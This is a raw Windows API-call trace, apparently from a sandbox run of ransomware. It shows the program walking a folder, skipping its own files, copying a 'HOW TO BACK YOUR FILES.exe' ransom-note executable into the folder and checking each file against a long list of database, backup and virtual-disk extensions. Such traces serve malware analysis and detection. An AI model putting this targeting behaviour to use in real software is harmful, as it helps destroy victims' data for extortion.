	[0051.406] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd6739fc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbd6739fc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbd6739fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0051.406] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.407] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.407] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0051.407] lstrlenW (lpString="icon.png") returned 8
	[0051.407] lstrlenW (lpString="Apollon865") returned 10
	[0051.407] lstrlenW (lpString=".dll") returned 4
	[0051.407] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0051.407] lstrlenW (lpString=".lnk") returned 4
	[0051.407] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0051.407] lstrlenW (lpString=".ini") returned 4
	[0051.407] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0051.407] lstrlenW (lpString=".sys") returned 4
	[0051.407] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0051.407] lstrlenW (lpString="icon.png") returned 8
	[0051.407] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="images" | out: lpString1="images") returned="images"
	[0051.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0051.407] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x5994c0
	[0051.407] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0051.407] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf13d2d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcf13d2d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbf1ad59c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0051.407] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.407] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.407] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0051.407] lstrlenW (lpString="logo.png") returned 8
	[0051.407] lstrlenW (lpString="Apollon865") returned 10
	[0051.407] lstrlenW (lpString=".dll") returned 4
	[0051.407] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0051.407] lstrlenW (lpString=".lnk") returned 4
	[0051.407] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0051.407] lstrlenW (lpString=".ini") returned 4
	[0051.407] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0051.407] lstrlenW (lpString=".sys") returned 4
	[0051.408] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0051.408] lstrlenW (lpString="logo.png") returned 8
	[0051.408] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images"
	[0051.408] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0051.408] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0051.408] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images") returned 68
	[0051.408] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images"
	[0051.408] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.408] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.414] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.414] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36b74690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36b74690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.415] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.415] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.416] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="1.png" | out: lpString1="1.png") returned="1.png"
	[0051.416] lstrlenW (lpString="1.png") returned 5
	[0051.416] lstrlenW (lpString="Apollon865") returned 10
	[0051.416] lstrlenW (lpString=".dll") returned 4
	[0051.416] lstrcmpiW (lpString1="1.png", lpString2=".dll") returned 1
	[0051.416] lstrlenW (lpString=".lnk") returned 4
	[0051.416] lstrcmpiW (lpString1="1.png", lpString2=".lnk") returned 1
	[0051.416] lstrlenW (lpString=".ini") returned 4
	[0051.416] lstrcmpiW (lpString1="1.png", lpString2=".ini") returned 1
	[0051.416] lstrlenW (lpString=".sys") returned 4
	[0051.416] lstrcmpiW (lpString1="1.png", lpString2=".sys") returned 1
	[0051.416] lstrlenW (lpString="1.png") returned 5
	[0051.416] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="10.png" | out: lpString1="10.png") returned="10.png"
	[0051.416] lstrlenW (lpString="10.png") returned 6
	[0051.416] lstrlenW (lpString="Apollon865") returned 10
	[0051.416] lstrlenW (lpString=".dll") returned 4
	[0051.417] lstrcmpiW (lpString1="10.png", lpString2=".dll") returned 1
	[0051.417] lstrlenW (lpString=".lnk") returned 4
	[0051.417] lstrcmpiW (lpString1="10.png", lpString2=".lnk") returned 1
	[0051.417] lstrlenW (lpString=".ini") returned 4
	[0051.417] lstrcmpiW (lpString1="10.png", lpString2=".ini") returned 1
	[0051.417] lstrlenW (lpString=".sys") returned 4
	[0051.417] lstrcmpiW (lpString1="10.png", lpString2=".sys") returned 1
	[0051.417] lstrlenW (lpString="10.png") returned 6
	[0051.417] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="11.png" | out: lpString1="11.png") returned="11.png"
	[0051.417] lstrlenW (lpString="11.png") returned 6
	[0051.417] lstrlenW (lpString="Apollon865") returned 10
	[0051.417] lstrlenW (lpString=".dll") returned 4
	[0051.417] lstrcmpiW (lpString1="11.png", lpString2=".dll") returned 1
	[0051.417] lstrlenW (lpString=".lnk") returned 4
	[0051.417] lstrcmpiW (lpString1="11.png", lpString2=".lnk") returned 1
	[0051.417] lstrlenW (lpString=".ini") returned 4
	[0051.417] lstrcmpiW (lpString1="11.png", lpString2=".ini") returned 1
	[0051.417] lstrlenW (lpString=".sys") returned 4
	[0051.417] lstrcmpiW (lpString1="11.png", lpString2=".sys") returned 1
	[0051.417] lstrlenW (lpString="11.png") returned 6
	[0051.417] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="12.png" | out: lpString1="12.png") returned="12.png"
	[0051.417] lstrlenW (lpString="12.png") returned 6
	[0051.417] lstrlenW (lpString="Apollon865") returned 10
	[0051.417] lstrlenW (lpString=".dll") returned 4
	[0051.417] lstrcmpiW (lpString1="12.png", lpString2=".dll") returned 1
	[0051.417] lstrlenW (lpString=".lnk") returned 4
	[0051.417] lstrcmpiW (lpString1="12.png", lpString2=".lnk") returned 1
	[0051.417] lstrlenW (lpString=".ini") returned 4
	[0051.417] lstrcmpiW (lpString1="12.png", lpString2=".ini") returned 1
	[0051.417] lstrlenW (lpString=".sys") returned 4
	[0051.418] lstrcmpiW (lpString1="12.png", lpString2=".sys") returned 1
	[0051.418] lstrlenW (lpString="12.png") returned 6
	[0051.418] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="120DPI" | out: lpString1="120DPI") returned="120DPI"
	[0051.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0051.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x5994c0
	[0051.418] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0051.418] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc033411, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc033411, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6bfcbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="13.png", cAlternateFileName="")) returned 1
	[0051.418] lstrcmpiW (lpString1="13.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.418] lstrcmpiW (lpString1="13.png", lpString2="Apollon865.txt.exe") returned -1
	[0051.418] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="13.png" | out: lpString1="13.png") returned="13.png"
	[0051.418] lstrlenW (lpString="13.png") returned 6
	[0051.418] lstrlenW (lpString="Apollon865") returned 10
	[0051.418] lstrlenW (lpString=".dll") returned 4
	[0051.418] lstrcmpiW (lpString1="13.png", lpString2=".dll") returned 1
	[0051.419] lstrlenW (lpString=".lnk") returned 4
	[0051.419] lstrcmpiW (lpString1="13.png", lpString2=".lnk") returned 1
	[0051.419] lstrlenW (lpString=".ini") returned 4
	[0051.420] lstrcmpiW (lpString1="13.png", lpString2=".ini") returned 1
	[0051.420] lstrlenW (lpString=".sys") returned 4
	[0051.420] lstrcmpiW (lpString1="13.png", lpString2=".sys") returned 1
	[0051.420] lstrlenW (lpString="13.png") returned 6
	[0051.420] lstrlenW (lpString="bak") returned 3
	[0051.420] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0051.420] lstrlenW (lpString="ba_") returned 3
	[0051.420] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0051.420] lstrlenW (lpString="dbb") returned 3
	[0051.420] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0051.420] lstrlenW (lpString="vmdk") returned 4
	[0051.420] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0051.420] lstrlenW (lpString="rar") returned 3
	[0051.420] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0051.420] lstrlenW (lpString="zip") returned 3
	[0051.420] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0051.420] lstrlenW (lpString="tgz") returned 3
	[0051.420] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0051.420] lstrlenW (lpString="vbox") returned 4
	[0051.420] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0051.420] lstrlenW (lpString="vdi") returned 3
	[0051.420] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0051.420] lstrlenW (lpString="vhd") returned 3
	[0051.420] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0051.420] lstrlenW (lpString="vhdx") returned 4
	[0051.420] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0051.421] lstrlenW (lpString="avhd") returned 4
	[0051.421] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0051.421] lstrlenW (lpString="db") returned 2
	[0051.421] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0051.421] lstrlenW (lpString="db2") returned 3
	[0051.421] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0051.421] lstrlenW (lpString="db3") returned 3
	[0051.421] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0051.421] lstrlenW (lpString="dbf") returned 3
	[0051.421] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0051.421] lstrlenW (lpString="mdf") returned 3
	[0051.421] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0051.421] lstrlenW (lpString="mdb") returned 3
	[0051.421] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0051.421] lstrlenW (lpString="sql") returned 3
	[0051.421] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0051.421] lstrlenW (lpString="sqlite") returned 6
	[0051.421] lstrlenW (lpString="sqlite3") returned 7
	[0051.421] lstrlenW (lpString="sqlitedb") returned 8
	[0051.421] lstrlenW (lpString="xml") returned 3
	[0051.421] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0051.421] lstrlenW (lpString="$er") returned 3
	[0051.421] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0051.421] lstrlenW (lpString="4dd") returned 3
	[0051.421] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0051.421] lstrlenW (lpString="4dl") returned 3
	[0051.421] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0051.421] lstrlenW (lpString="^^^") returned 3
	[0051.421] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0051.422] lstrlenW (lpString="abs") returned 3
	[0051.422] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0051.422] lstrlenW (lpString="abx") returned 3
	[0051.422] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0051.422] lstrlenW (lpString="accdb") returned 5
	[0051.422] lstrcmpiW (lpString1="3.png", lpString2="accdb") returned -1
	[0051.422] lstrlenW (lpString="accdc") returned 5
	[0051.422] lstrcmpiW (lpString1="3.png", lpString2="accdc") returned -1
	[0051.422] lstrlenW (lpString="accde") returned 5
	[0051.422] lstrcmpiW (lpString1="3.png", lpString2="accde") returned -1
	[0051.422] lstrlenW (lpString="accdr") returned 5
	[0051.422] lstrcmpiW (lpString1="3.png", lpString2="accdr") returned -1
	[0051.422] lstrlenW (lpString="accdt") returned 5
	[0051.422] lstrcmpiW (lpString1="3.png", lpString2="accdt") returned -1
	[0051.422] lstrlenW (lpString="accdw") returned 5
	[0051.422] lstrcmpiW (lpString1="3.png", lpString2="accdw") returned -1
	[0051.422] lstrlenW (lpString="accft") returned 5
	[0051.422] lstrcmpiW (lpString1="3.png", lpString2="accft") returned -1
	[0051.422] lstrlenW (lpString="adb") returned 3
	[0051.422] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0051.422] lstrlenW (lpString="adb") returned 3
	[0051.422] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0051.422] lstrlenW (lpString="ade") returned 3
	[0051.422] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0051.422] lstrlenW (lpString="adf") returned 3
	[0051.422] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0051.422] lstrlenW (lpString="adn") returned 3
	[0051.422] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0051.422] lstrlenW (lpString="adp") returned 3
	[0051.422] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0051.422] lstrlenW (lpString="alf") returned 3
	[0051.422] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0051.423] lstrlenW (lpString="ask") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0051.423] lstrlenW (lpString="btr") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0051.423] lstrlenW (lpString="cat") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0051.423] lstrlenW (lpString="cdb") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0051.423] lstrlenW (lpString="ckp") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0051.423] lstrlenW (lpString="cma") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0051.423] lstrlenW (lpString="cpd") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0051.423] lstrlenW (lpString="dacpac") returned 6
	[0051.423] lstrlenW (lpString="dad") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0051.423] lstrlenW (lpString="dadiagrams") returned 10
	[0051.423] lstrlenW (lpString="daschema") returned 8
	[0051.423] lstrlenW (lpString="db-journal") returned 10
	[0051.423] lstrlenW (lpString="db-shm") returned 6
	[0051.423] lstrlenW (lpString="db-wal") returned 6
	[0051.423] lstrlenW (lpString="dbc") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0051.423] lstrlenW (lpString="dbs") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0051.423] lstrlenW (lpString="dbt") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0051.423] lstrlenW (lpString="dbv") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0051.423] lstrlenW (lpString="dbx") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0051.423] lstrlenW (lpString="dcb") returned 3
	[0051.423] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0051.424] lstrlenW (lpString="dct") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0051.424] lstrlenW (lpString="dcx") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0051.424] lstrlenW (lpString="ddl") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0051.424] lstrlenW (lpString="dlis") returned 4
	[0051.424] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1
	[0051.424] lstrlenW (lpString="dp1") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1
	[0051.424] lstrlenW (lpString="dqy") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1
	[0051.424] lstrlenW (lpString="dsk") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1
	[0051.424] lstrlenW (lpString="dsn") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1
	[0051.424] lstrlenW (lpString="dtsx") returned 4
	[0051.424] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1
	[0051.424] lstrlenW (lpString="dxl") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1
	[0051.424] lstrlenW (lpString="eco") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="eco") returned 1
	[0051.424] lstrlenW (lpString="ecx") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1
	[0051.424] lstrlenW (lpString="edb") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="edb") returned 1
	[0051.424] lstrlenW (lpString="epim") returned 4
	[0051.424] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1
	[0051.424] lstrlenW (lpString="fcd") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1
	[0051.424] lstrlenW (lpString="fdb") returned 3
	[0051.424] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1
	[0051.424] lstrlenW (lpString="fic") returned 3
	[0051.425] lstrcmpiW (lpString1="png", lpString2="fic") returned 1
	[0051.425] lstrlenW (lpString="flexolibrary") returned 12
	[0051.425] lstrlenW (lpString="fm5") returned 3
	[0051.425] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1
	[0051.425] lstrlenW (lpString="fmp") returned 3
	[0051.425] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1
	[0051.425] lstrlenW (lpString="fmp12") returned 5
	[0051.425] lstrcmpiW (lpString1="3.png", lpString2="fmp12") returned -1
	[0051.425] lstrlenW (lpString="fmpsl") returned 5
	[0051.425] lstrcmpiW (lpString1="3.png", lpString2="fmpsl") returned -1
	[0051.425] lstrlenW (lpString="fol") returned 3
	[0051.425] lstrcmpiW (lpString1="png", lpString2="fol") returned 1
	[0051.425] lstrlenW (lpString="fp3") returned 3
	[0051.425] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1
	[0051.425] lstrlenW (lpString="fp4") returned 3
	[0051.425] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1
	[0051.425] lstrlenW (lpString="fp5") returned 3
	[0051.425] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1
	[0051.425] lstrlenW (lpString="fp7") returned 3
	[0051.425] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1
	[0051.425] lstrlenW (lpString="fpt") returned 3
	[0051.425] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1
	[0051.425] lstrlenW (lpString="frm") returned 3
	[0051.425] lstrcmpiW (lpString1="png", lpString2="frm") returned 1
	[0051.425] lstrlenW (lpString="gdb") returned 3
	[0051.425] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0051.425] lstrlenW (lpString="gdb") returned 3
	[0051.425] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0051.425] lstrlenW (lpString="grdb") returned 4
	[0051.425] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1
	[0051.425] lstrlenW (lpString="gwi") returned 3
	[0051.426] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1
	[0051.426] lstrlenW (lpString="hdb") returned 3
	[0051.426] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1
	[0051.426] lstrlenW (lpString="his") returned 3
	[0051.426] lstrcmpiW (lpString1="png", lpString2="his") returned 1
	[0051.426] lstrlenW (lpString="ib") returned 2
	[0051.426] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1
	[0051.426] lstrlenW (lpString="idb") returned 3
	[0051.426] lstrcmpiW (lpString1="png", lpString2="idb") returned 1
	[0051.426] lstrlenW (lpString="ihx") returned 3
	[0051.426] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1
	[0051.426] lstrlenW (lpString="itdb") returned 4
	[0051.426] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1
	[0051.426] lstrlenW (lpString="itw") returned 3
	[0051.426] lstrcmpiW (lpString1="png", lpString2="itw") returned 1
	[0051.426] lstrlenW (lpString="jet") returned 3
	[0051.426] lstrcmpiW (lpString1="png", lpString2="jet") returned 1
	[0051.426] lstrlenW (lpString="jtx") returned 3
	[0051.426] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1
	[0051.426] lstrlenW (lpString="kdb") returned 3
	[0051.426] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1
	[0051.426] lstrlenW (lpString="kexi") returned 4
	[0051.426] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1
	[0051.426] lstrlenW (lpString="kexic") returned 5
	[0051.426] lstrcmpiW (lpString1="3.png", lpString2="kexic") returned -1
	[0051.426] lstrlenW (lpString="kexis") returned 5
	[0051.426] lstrcmpiW (lpString1="3.png", lpString2="kexis") returned -1
	[0051.426] lstrlenW (lpString="lgc") returned 3
	[0051.426] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1
	[0051.426] lstrlenW (lpString="lwx") returned 3
	[0051.426] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1
	[0051.426] lstrlenW (lpString="maf") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="maf") returned 1
	[0051.427] lstrlenW (lpString="maq") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="maq") returned 1
	[0051.427] lstrlenW (lpString="mar") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="mar") returned 1
	[0051.427] lstrlenW (lpString="marshal") returned 7
	[0051.427] lstrlenW (lpString="mas") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="mas") returned 1
	[0051.427] lstrlenW (lpString="mav") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="mav") returned 1
	[0051.427] lstrlenW (lpString="maw") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="maw") returned 1
	[0051.427] lstrlenW (lpString="mdbhtml") returned 7
	[0051.427] lstrlenW (lpString="mdn") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1
	[0051.427] lstrlenW (lpString="mdt") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1
	[0051.427] lstrlenW (lpString="mfd") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1
	[0051.427] lstrlenW (lpString="mpd") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1
	[0051.427] lstrlenW (lpString="mrg") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1
	[0051.427] lstrlenW (lpString="mud") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="mud") returned 1
	[0051.427] lstrlenW (lpString="mwb") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1
	[0051.427] lstrlenW (lpString="myd") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="myd") returned 1
	[0051.427] lstrlenW (lpString="ndf") returned 3
	[0051.427] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1
	[0051.427] lstrlenW (lpString="nnt") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1
	[0051.428] lstrlenW (lpString="nrmlib") returned 6
	[0051.428] lstrlenW (lpString="ns2") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1
	[0051.428] lstrlenW (lpString="ns3") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1
	[0051.428] lstrlenW (lpString="ns4") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1
	[0051.428] lstrlenW (lpString="nsf") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1
	[0051.428] lstrlenW (lpString="nv") returned 2
	[0051.428] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1
	[0051.428] lstrlenW (lpString="nv2") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1
	[0051.428] lstrlenW (lpString="nwdb") returned 4
	[0051.428] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1
	[0051.428] lstrlenW (lpString="nyf") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1
	[0051.428] lstrlenW (lpString="odb") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0051.428] lstrlenW (lpString="odb") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0051.428] lstrlenW (lpString="oqy") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1
	[0051.428] lstrlenW (lpString="ora") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="ora") returned 1
	[0051.428] lstrlenW (lpString="orx") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="orx") returned 1
	[0051.428] lstrlenW (lpString="owc") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="owc") returned 1
	[0051.428] lstrlenW (lpString="p96") returned 3
	[0051.428] lstrcmpiW (lpString1="png", lpString2="p96") returned 1
	[0051.429] lstrlenW (lpString="p97") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="p97") returned 1
	[0051.429] lstrlenW (lpString="pan") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="pan") returned 1
	[0051.429] lstrlenW (lpString="pdb") returned 3
	[0051.429] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1
